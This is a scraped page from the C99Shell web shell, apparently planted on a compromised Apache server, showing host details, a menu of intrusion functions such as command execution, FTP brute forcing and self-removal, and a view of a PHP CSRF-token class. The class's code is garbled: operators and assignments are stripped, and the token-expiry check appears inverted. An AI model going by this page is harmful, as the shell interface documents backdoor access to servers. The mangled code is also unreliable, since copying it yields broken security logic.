!C99Shell v. 2.1 [PHP 8 Update] [02.02.2022]!

Software: Apache/2.4.53 (Unix) OpenSSL/1.1.1o PHP/7.4.29 mod_perl/2.0.12 Perl/v5.34.1. PHP/7.4.29 

uname -a: Linux vps-2738122-x 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64 

uid=1(daemon) gid=1(daemon) grupos=1(daemon) 

Safe-mode: OFF (not secure)

/opt/apex_led/php/vendor/siu/security-multitool/library/SecurityMultiTool/Csrf/   drwxrwxr-x
Free 15.66 GB of 61.93 GB (25.28%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     Provider.php (3.47 KB)      -rwxrwxr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace SecurityMultiTool\Csrf;

use 
SecurityMultiTool\String\FixedTimeComparison;
use 
SecurityMultiTool\Exception;

class 
Provider extends Common\AbstractOptions implements Common\OptionsInterface
{

    protected 
$generator null;

    protected 
$token '';

    protected 
$options = array(
        
'token_name_prefix' => 'CSRFToken',
        
'name' => '',
        
'timeout' => 3600
    
);

    public function 
__construct(array $options null)
    {
        
parent:__construct($options);
        
$this->generator = new Csrf\TokenGenerator;
    }

    public function 
getToken($refresh false)
    {
        if (!empty(
$this->token) && false === $refresh) {
            return 
$this->token;
        }
        
$this->token $this->generator->generate();
        
$this->storeTokenToSession();
        return 
$this->token;
    }

    public function 
getTokenName()
    {
        return 
implode(
            
':',
            array(
                
$this->getOption('token_name_prefix'),
                
$this->getOption('name')
            )
        );
    }

    public function 
getName()
    {
        return 
$this->getOption('name');
    }

    public function 
getTimeout()
    {
        return 
$this->getOption('timeout');
    }

    public function 
isValid($token$tokenName null)
    {
        if (
is_null($tokenName)) {
            
$tokenName $this->getTokenName();
        }
        try {
            
$array $this->retrieveTokenFromSession($tokenName);
        } catch (
Exception\RuntimeException $e) {
            return 
false//TODO: Set lastException for debug recall
        
}
        if (empty(
$array) || !is_array($array) || !isset($array['token'])
        || !isset(
$array['expire'])) {
            return 
false;
        }
        
$time time();
        if ((int) 
$array['expire'] >= $time) {
            return 
false;
        }
        
$result FixedTimeComparison::compare($token$array['token']);
        return 
$result;
    }

    protected function 
storeTokenToSession()
    {
        if (!
session_id()) {
            
session_start();
        }
        
$expire 0;
        if (
$this->getTimeout() > 0) {
            
$expire time() + $this->getTimeout();
        }
        
$_SESSION[$this->getTokenName()] = array(
            
'token' => $this->getToken(),
            
'expire' => $expire
        
);
    }

    protected function 
retrieveTokenFromSession($tokenName)
    {
        if (!
session_id()) {
            throw new 
Exception\RuntimeException(
                
'A PHP Session has not been started so session storage is '
                
'unavailable'
            
);
        }
        if (!isset(
$_SESSION[$tokenName])) {
            throw new 
Exception\RuntimeException(
                
'Session data does not include a token for the current token '
                
'name: ' $tokenName
            
);
        }
        return 
$_SESSION[$tokenName];

    }

    public function 
setOption($key$value)
    {
        switch (
$key) {
            case 
'timeout':
                
$this->options['timeout'] = (int) $value;
                break;

            case 
'name':
                
$this->options['name'] = (string) $value;
                break;

            case 
'token_name_prefix':
                
$this->options['token_name_prefix'] = (string) $value;
                break;
            
            default:
                throw new 
Exception\InvalidArgumentException(
                    
'Attempted to set invalid option: ' $key
                
);
                break;
        }
    }

}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.1 [PHP 8 Update] [02.02.2022] maintained byC99Shell Github | Generation time: 0.2797 ]--